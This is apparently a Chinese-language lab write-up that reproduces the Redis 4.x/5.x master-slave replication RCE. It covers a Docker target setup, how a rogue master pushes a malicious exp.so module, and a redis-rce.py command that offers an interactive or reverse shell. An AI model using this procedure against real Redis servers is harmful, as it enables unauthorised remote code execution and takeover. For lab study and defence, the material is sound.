靶场配置

1
2
docker pull damonevking/redis5.0
docker run -p 6379:6379 -d damonevking/redis5.0 redis-server //映射端口并运行

访问127.0.0.1:6379,出现如下图显示则搭建成功

image-20241011150508344

漏洞原理

恶意模块加载

自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。 Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中。

[下载so文件放到和redis,py一个目录](GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE)

主从复制

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。

Redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中。但是要保证硬盘文件不被删除,而主从复制则能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。

当slave向master发送PSYNC命令之后,一般会得到三种回复:

1
2
3
4
5
+FULLRESYNC:进行全量复制。

+CONTINUE:进行增量同步。

-ERR:当前master还不支持PSYNC。

进行全量复制是,会将master上的RDB文件同步到slave上。而进行增量复制时,slave向master要求数据同步,会发送master的runid和offest,如果runid和slave上的不对应则会进行全量复制,如果相同则进行数据同步,但是不会传输RDB文件

为了能让恶意so传输到目标服务器上,这里则必须采用全量复制。

漏洞利用过程

漏洞利用前提条件:Redis未授权或弱口令

  1. 启动恶意服务器(RogueServer)
    • 脚本首先创建一个 RogueServer 实例,它在自己的机器上监听特定的端口,等待目标 Redis 服务器的连接。
  2. 连接目标 Redis 服务器
    • 使用 Remote 类,脚本连接到目标 Redis 服务器的指定端口。
  3. 认证(如果需要)
    • 如果目标 Redis 服务器设置了密码保护,脚本会使用提供的密码进行认证。
  4. 发送 SLAVEOF 命令
    • 脚本向目标 Redis 服务器发送 SLAVEOF 命令,使目标服务器将恶意服务器作为其主服务器。这会导致目标服务器尝试从恶意服务器同步数据。
  5. 建立连接
    • 目标 Redis 服务器尝试连接到恶意服务器并发送同步请求。
  6. 处理同步请求
    • 当恶意服务器接收到目标服务器的同步请求时,它会根据请求类型(如 PING, REPLCONF, AUTH, PSYNC, SYNC)返回相应的响应。
  7. 发送恶意负载
    • 在处理 PSYNCSYNC 请求时,恶意服务器发送一个恶意的 Redis 模块(exp.so),这个模块包含了可以执行远程代码的代码。
  8. 加载恶意模块
    • 目标 Redis 服务器加载并执行发送过来的恶意模块,这通常会导致远程代码执行。
  9. 交互式 Shell 或反向 Shell
    • 根据用户的选择,脚本可以提供一个交互式 Shell 或发送一个反向 Shell 到攻击者指定的地址和端口,从而允许攻击者控制目标服务器。
  10. 清理
    • 在完成操作后,脚本会执行清理操作,包括卸载恶意模块、删除恶意文件、将目标 Redis 服务器重置为主服务器状态。
  11. 关闭连接
    • 最后,脚本关闭与目标 Redis 服务器的连接,以及恶意服务器的监听 socket。

漏洞复现

1
python3 redis-rce.py -r 192.168.159.132(目标ip) -L 192.168.159.1(自己的ip) -f exp.so

在此处:i为交互式shell,r为反弹shell,根据自己的需要选择就可以了

交互式shell

image-20241011155403719

反弹shell

image-20241011155706714

image-20241011155735180

参考

Redis基于主从复制的RCE 4.x/5.x 复现 - PaperPen | 长亭百川云 (chaitin.cn)

GitHub - Ridter/redis-rce: Redis 4.x/5.x RCE

GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE

Redis主从复制RCE影响分析 - FreeBuf网络安全行业门户